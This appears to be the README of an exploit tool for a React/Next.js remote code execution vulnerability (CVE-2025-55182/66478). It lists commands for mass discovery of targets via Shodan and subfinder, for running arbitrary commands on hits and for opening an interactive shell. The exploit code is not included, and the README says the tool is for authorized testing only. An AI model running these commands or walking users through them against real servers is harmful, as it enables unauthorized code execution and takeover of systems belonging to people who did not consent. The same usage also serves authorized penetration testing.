Torito React2Shell Scanner & Exploit Tool (CVE-2025-55182 / 66478)

Requirements

• Python 3.9+
• pip install -r requirements.txt
• Subfinder binary in PATH for --subfinder (install via Homebrew brew install subfinder or Go: go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest; project: https://github.com/projectdiscovery/subfinder)
• Shodan usage requires pip install shodan (already in requirements) and a key: export SHODAN_API_KEY=... with available query credits

Usage

python3 torito_r2s.py --help

Flags

Examples

Safe probe (single target)

python3 torito_r2s.py -u https://target.com

PoC confirm (side-channel redirect)

python3 torito_r2s.py -u https://target.com --confirm

Exploit with custom command

python3 torito_r2s.py -u https://target.com --exploit-cmd "whoami"

Interactive shell on first hit

python3 torito_r2s.py -u https://target.com --shell

List scan with exports

python3 torito_r2s.py -l hosts.txt -t 40 --confirm --json-out results.json --csv-out results.csv

Shodan-only (needs key and credits)

export SHODAN_API_KEY=your_key
python3 torito_r2s.py --shodan 'http.title:"Next.js"' --shodan-limit 50 --confirm

Subfinder-only

python3 torito_r2s.py --subfinder target.com --confirm

Proxy (Burp/Caido)

python3 torito_r2s.py -u https://target.com --proxy http://127.0.0.1:8080 --confirm

Pipeline via stdin

cat urls.txt | python3 torito_r2s.py --confirm

Output notes

• Table shows fingerprint (NX/AR), probe, confirm, exploit.
• Exploit digests are base64-decoded when possible; verbose mode shows previews.
• JSON/CSV include raw digest and decoded output (if any).

Safety

• For authorized testing only.
• Default run is non-destructive probe; exploit executes only with --exploit-cmd or --shell.